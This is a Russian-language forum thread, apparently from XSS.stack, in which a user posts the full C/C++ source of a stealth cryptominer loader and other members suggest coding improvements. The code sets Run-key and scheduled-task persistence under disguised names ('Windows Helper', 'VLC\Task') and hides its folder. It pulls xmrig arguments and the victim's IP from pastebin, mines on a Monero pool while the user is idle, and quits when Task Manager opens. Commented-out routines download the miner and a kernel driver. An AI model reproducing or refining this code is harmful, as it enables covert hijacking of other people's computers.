• XSS.stack #1 – первый литературный журнал от юзеров форума

Мой загрузчик для майнера, версия C++, по большей части, C.

Marinad

RAID-массив
Пользователь
Регистрация
21.04.2020
Сообщения
74
Реакции
14
Первая версия, на C это моя первая программа. Код кривой, частично писан не мной, а собран из кусочков, многое изменено уже мной. Но работает. Реализация местами хреновая. Сильно не пинать.
Зачем юникод? - Интересно было научиться писать с юникодом. Практического смысла это не несет. Было бы интересно услышать от гуру C, что можно поправить или оптимизировать.

C:
#include <windows.h>
#include <cstdio>
#include <urlmon.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <fstream>
#include "rawdata.h" // будет unsigned char* с полным 16-ричным кодом майнера, не реализовано, нужно в 64 бит

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma warning(disable : 4996)

#define MY_PRINTF(...) {WCHAR cad[512]; wsprintf(cad, __VA_ARGS__);  OutputDebugString(cad);}

wchar_t szPasteB[256] = { 0 }; //Глобальная переменная - это  бред, знаю, но до конца не научился работать правильно со строками

BOOL ControlHandler(DWORD dwControlEvent)
{
    switch (dwControlEvent)
    {
        // User wants to shutdown
    case CTRL_SHUTDOWN_EVENT:
        return FALSE;

        // User wants to logoff
    case CTRL_LOGOFF_EVENT:
        return FALSE;

        // Ctrl + C
    case CTRL_C_EVENT:
        return TRUE;

        // User wants to exit the "normal" way
    case CTRL_CLOSE_EVENT:
        return TRUE;

        // Everything else, just ignore it...
    default:
        return FALSE;
    }
}

/*
//decrypt xor string
void encryptDecrypt(char* input, char* output) {
    char key[] = { 'k', 'e', 'y' };

    unsigned int i;
    for (i = 0; i < strlen(input); i++) {
        output[i] = input[i] ^ key[i % (sizeof(key) / sizeof(char))];
    }
}
*/

//Check if file exists
BOOL FileExists(const wchar_t* szPath)
{
    DWORD dwAttrib = GetFileAttributes(szPath);

    return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
        !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

//Start m process
DWORD StartM(wchar_t* args)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    DWORD pid = 0;

    WCHAR selfdir[MAX_PATH] = { 0 };
    WCHAR helperpath[MAX_PATH] = { 0 };

    try
    {
        GetModuleFileName(NULL, selfdir, MAX_PATH);
        PathRemoveFileSpecW(selfdir);
        wcscpy_s(helperpath, selfdir);
        wcscat_s(helperpath, L"\\helper.exe");

        MY_PRINTF(L"%s\n", helperpath);

        if (FileExists(helperpath))
        {
            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));

            // Start the child process.
            if (!CreateProcess(helperpath, args, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
            {
                MY_PRINTF(L"M process starting failed (%d).\n", GetLastError());
                return 0;
            }
            else
            {
                MY_PRINTF(L"Process ID = %d started.\n", pi.dwProcessId);
            }

            // Wait until child process exits.
            // WaitForSingleObject(pi.hProcess, INFINITE);

            // Close process and thread handles.
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);

            return pi.dwProcessId;
        }
        else
            return 0;
    }
    catch (...)
    {
        MY_PRINTF(L"M process not started.\n");
        return 0;
    }
}

//Kill process with pid
BOOL KillProcess(DWORD pid)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, pid);
    if (hProcess == NULL)
        return FALSE;

    BOOL result = TerminateProcess(hProcess, 0);

    CloseHandle(hProcess);

    return TRUE;
}

//stop m process
BOOL StopM(DWORD pid)
{
    try
    {
        if (pid > 0)
        {
            KillProcess(pid);
            MY_PRINTF(L"Process ID = %d stopped.\n", pid);
        }
        return FALSE;
    }
    catch (...)
    {
        MY_PRINTF(L"M process not stopped.\n");
        return FALSE;
    }
    return TRUE;
}

//Create task in task scheduler
void CreateTask() // можно реализовать через вызовы WINAPI, но там код гораздо длиннее, а преимуществ пока не вижу
{
    WCHAR czExePath[MAX_PATH] = { 0 };
    WCHAR cmdLine[512] = { 0 };

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    try
    {
        GetModuleFileName(NULL, czExePath, MAX_PATH);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        wsprintf(cmdLine, L"cmd /c schtasks /create /sc MINUTE /mo 5 /tn \"VLC\\Task\" /tr \"%s\" /f", czExePath);
        //MY_PRINTF(cmdLine);

        if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
            MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
        }
        else
        {
            MY_PRINTF(L"Scheduler task successfully created.\n");
        }

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

    }
    catch (...)
    {
        MY_PRINTF(L"Scheduler task not created.\n");
    }
}

//Delete task in task scheduler
void DeleteTask()
{
    WCHAR cmdLine[128] = { 0 };

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    try
    {
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        wsprintf(cmdLine, L"cmd /c schtasks /delete / tn \"VLC\\Task\" / f");

        if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
            MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
        }
        else
        {
            MY_PRINTF(L"Scheduler task successfully deleted.\n");
        }

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    catch (...)
    {
        MY_PRINTF(L"Scheduler task not deleted.\n");
    }
}

/*
//Download m from internet, helper - xmrig
void DownloadHelperFromURL()
{
    WCHAR self_dir[MAX_PATH] = { 0 };
    WCHAR helper_path[MAX_PATH] = { 0 };

    const wchar_t* helper_url = L"your_url";

    try
    {
        GetModuleFileName(NULL, self_dir, MAX_PATH);
        PathRemoveFileSpecW(self_dir);
        wcscpy_s(helper_path, self_dir);
        wcscat_s(helper_path, L"\\helper.exe");

        if (!FileExists(helper_path))
        {
            if (URLDownloadToFile(0, helper_url, helper_path, 0, 0) == S_OK)
            {
                MY_PRINTF(L"Helper was downloaded.");
            }
        }
    }
    catch (...)
    {
        MY_PRINTF(L"Helper download error.");
    }
}

//Download driver from internet
void DownloadWinsysFromURL()
{
    WCHAR self_dir[MAX_PATH] = { 0 };
    WCHAR driver_path[MAX_PATH] = { 0 };

    const wchar_t* driver_url = L"your_url";

    try
    {
        GetModuleFileName(NULL, self_dir, MAX_PATH);
        PathRemoveFileSpecW(self_dir);
        wcscpy_s(driver_path, self_dir);
        wcscat_s(driver_path, L"\\WinRing0x64.sys");

        if (!FileExists(driver_path))
        {
            if (URLDownloadToFile(0, driver_url, driver_path, 0, 0) == S_OK)
            {
                MY_PRINTF(L"Driver was downloaded.");
            }
        }
    }
    catch (...)
    {
        MY_PRINTF(L"Driver download error.");
    }
}
*/

//Get public ip and raw pastebin
void GetRawDataFromURL()
{
    wchar_t* Token = NULL;
    wchar_t* ptr = NULL;
    WCHAR self_dir[MAX_PATH] = { 0 };
    WCHAR szPath[MAX_PATH] = { 0 };
    WCHAR szRead[128] = { 0 };

    GetModuleFileName(NULL, self_dir, MAX_PATH);
    PathRemoveFileSpecW(self_dir);

    DWORD attr = GetFileAttributes(self_dir);
    if ((attr & FILE_ATTRIBUTE_HIDDEN) == 0) {
        SetFileAttributes(self_dir, attr + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
    }

    GetTempPath(256, szPath);
    wcscat_s(szPath, L"ip");

    try
    {
        if (URLDownloadToFile(0, L"http://checkip.dyndns.org/", szPath, 0, 0) == S_OK) {
            FILE* fIpHtm;
            errno_t err;
            if ((err = _wfopen_s(&fIpHtm, szPath, L"r")) == 0)
            {
                fgetws(szRead, 128, fIpHtm);
                Token = wcsrchr(szRead, ':');
                Token = wcstok(Token, L"<");
                ptr = lstrcpyn(szRead, Token + 2, sizeof(szRead)); // не знаю, как это написать безопасно
                //MY_PRINTF(L"%s\n", szRead);
            }
            if (fIpHtm)
                fclose(fIpHtm);
        }
    }
    catch (...)
    {
        MY_PRINTF(L"Could not get public IP.\n");
    }

    try
    {
        if (URLDownloadToFile(0, L"https://pastebin.com/raw/xxx", szPath, 0, 0) == S_OK) { //Странная реализация, но короткой, так чтобы сразу в память, пока не знаю, кроме curl, но не хочу увеличивать файл exe
            FILE* fIpHtm;
            errno_t err;
            if ((err = _wfopen_s(&fIpHtm, szPath, L"r")) == 0)
            {
                if (fIpHtm != 0)
                {
                    fgetws(szPasteB, 256, fIpHtm);
                    if (wcslen(szRead) > 0)
                        wcscat_s(szPasteB, szRead);
                }
            }
            if (fIpHtm)
                fclose(fIpHtm);

            if (FileExists(szPath))
                DeleteFile(szPath);
        }
    }
    catch (...)
    {
        MY_PRINTF(L"Could not get pastebin raw data.\n");
    }

    if (wcslen(szPasteB) == 0)
    {
        wcsncpy_s(szPasteB, L"--donate-level=1 -o pool.supportxmr.com:443 -u xxx -k --tls -p O-", 256);
        if(wcslen(szRead)>0)
            wcscat_s(szPasteB, szRead);
    }
}


//Create registry autorun
void CreateAutorun()
{
    HKEY hKey;
    const wchar_t* czStartName = L"Windows Helper";
    WCHAR czExePath[MAX_PATH] = { 0 };

    try
    {
        GetModuleFileName(NULL, czExePath, MAX_PATH);

        LSTATUS lnRes = RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
        if (ERROR_SUCCESS == lnRes)
        {
            //MY_PRINTF(L"%d\n", wcslen(czExePath)+1);
            //MY_PRINTF(L"%d\n", sizeof(wchar_t));
            DWORD count = (DWORD)((wcslen(czExePath) + 1) * sizeof(wchar_t));
            //MY_PRINTF(L"%d", count);=130
            lnRes = RegSetValueEx(hKey, czStartName, 0, REG_SZ, (LPBYTE)czExePath, count);
            MY_PRINTF(L"\nRegistry record successfully created.\n");
        }
        else
        {
            MY_PRINTF(L"\nCould not create registry record.");
        }

        RegCloseKey(hKey);
    }
    catch (...)
    {
        MY_PRINTF(L"Registry record not created.\n");
    }
}

//Check user idle time
ULONGLONG GetIdleTime()
{
    LASTINPUTINFO last_input;
    last_input.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&last_input);
    ULONGLONG time_elapsed = GetTickCount64();
    return (time_elapsed - last_input.dwTime) / 1000;
}

//Find process by id
DWORD FindProcessId(const wchar_t* processname)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD result = NULL;

    // Take a snapshot of all processes in the system.
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE);

    pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT

    // Retrieve information about the first process,
    // and exit if unsuccessful
    if (!Process32First(hProcessSnap, &pe32))
    {
        CloseHandle(hProcessSnap);          // clean the snapshot object
        MY_PRINTF(L"!!! Failed to gather information on system processes! \n");
        return(NULL);
    }

    do
    {
        //MY_PRINTF(L"Checking process %ls\n", pe32.szExeFile);
        //MY_PRINTF(pe32.szExeFile);
        if (0 == _wcsicmp(processname, pe32.szExeFile))
        {
            result = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);

    return result;
}

//Main function, entry point
INT __stdcall WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ INT nCmdShow)
{
    unsigned char idleTimer = 60; //seconds
    bool mRunning = false;
    DWORD pid = 0;
    DWORD helper_pid = 0;

    SetConsoleCtrlHandler((PHANDLER_ROUTINE)ControlHandler, TRUE);

    CreateMutexA(0, FALSE, "Local\\Minerloader"); // try to create a named mutex
    if (GetLastError() == ERROR_ALREADY_EXISTS) // did the mutex already exist?
        return -1; // quit; mutex is released automatically

    if (helper_pid = FindProcessId(L"helper.exe"))
    {
        KillProcess(helper_pid);
        MY_PRINTF(L"Helper process %d was killed.", helper_pid);
    }

    //Autorun
    CreateAutorun();
    DeleteTask();
    CreateTask();

    //Get data and files from internet
    GetRawDataFromURL();
    //DownloadHelperFromURL();
    //DownloadWinsysFromURL();

    //pid = StartM(szPasteB);

    //main cicle
    for (;;)
    {
        Sleep(1000);
        if (FindProcessId(L"taskmgr.exe") > 0 || FindProcessId(L"Taskmgr.exe") > 0)
        {
            if (pid > 0)
            {
                StopM(pid);
            }
            MY_PRINTF(L"Task manager detected.");
            return 0;
        }

        if (GetIdleTime() >= idleTimer && !mRunning)
        {
            MY_PRINTF(L"System is idle.\n");
            pid = StartM(szPasteB);
            MY_PRINTF(L"%s\n", szPasteB);
            mRunning = true;
        }

        if (GetIdleTime() < idleTimer && mRunning)
        {
            MY_PRINTF(L"System no longer idle.\n");
            StopM(pid);
            mRunning = false;
        }
    }

    return 0;
}
 
Последнее редактирование:
Выделение памяти вот таким методом
C:
wchar_t szPasteB[256] = { 0 };
увеличивает размер файла на 256 байт.Правильнее было бы сделать вот так:
Код:
wchar_t* szPasteB = (wchar_t*)HeapAlloc(GetProcessHeap(), NULL, 256);
 
Выделение памяти вот таким методом
C:
wchar_t szPasteB[256] = { 0 };
увеличивает размер файла на 256 байт.Правильнее было бы сделать вот так:
Код:
wchar_t* szPasteB = (wchar_t*)HeapAlloc(GetProcessHeap(), NULL, 256);
Вот, спасибо за ответ/совет. Именно то, чего я ждал, сам пока не знал, как реализовать правильнее.
потом free или ее аналог для WINAPI надо вызвать где-то в конце winmain, да?
 
Зачем при выполнении команды
cmd /c schtasks /delete / tn \"VLC\\Task\" / f
Тащить за собой cmd? если можно создать сразу schtasks.exe и передать ему параметры...
 
Зачем при выполнении команды
cmd /c schtasks /delete / tn \"VLC\\Task\" / f
Тащить за собой cmd? если можно создать сразу schtasks.exe и передать ему параметры...
Я так пробовал, почему-то таск не создается.
 
Зачем юзать try/except в блоке с API-функциями которые не кидают исключений(просто возвращают не ERROR_SUCCESS)?
C# привычка. Не нужно, значит.
 
Выделение памяти вот таким методом
C:
wchar_t szPasteB[256] = { 0 };
увеличивает размер файла на 256 байт.Правильнее было бы сделать вот так:
Код:
wchar_t* szPasteB = (wchar_t*)HeapAlloc(GetProcessHeap(), NULL, 256);
Что за бред ты несешь? Ничего оно не увеличивает, просто происходит выделение памяти на стеке, а не в куче. Зачем динамически выделять память в данном случае, если размер ( 256 байт ) зараннее известен, и он фиксирован?
 
Насколько я понимаю, если убрать try catch совсем, то можно этот код компилировать как C, тогда файл будет меньше. Правильно?
Файл будет меньше, если ты вырежешь CRT и SEH.
 
Что за бред ты несешь? Ничего оно не увеличивает, просто происходит выделение памяти на стеке, а не в куче. Зачем динамически выделять память в данном случае, если размер ( 256 байт ) зараннее известен, и он фиксирован?
Глобальная переменная увеличивает файл.Можешь сам потестить...
 
Глобальная переменная увеличивает файл.Можешь сам потестить...
Причем тут глобальная переменная? Я говорю про бессмысленность твоего совета с выделением памяти в куче.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх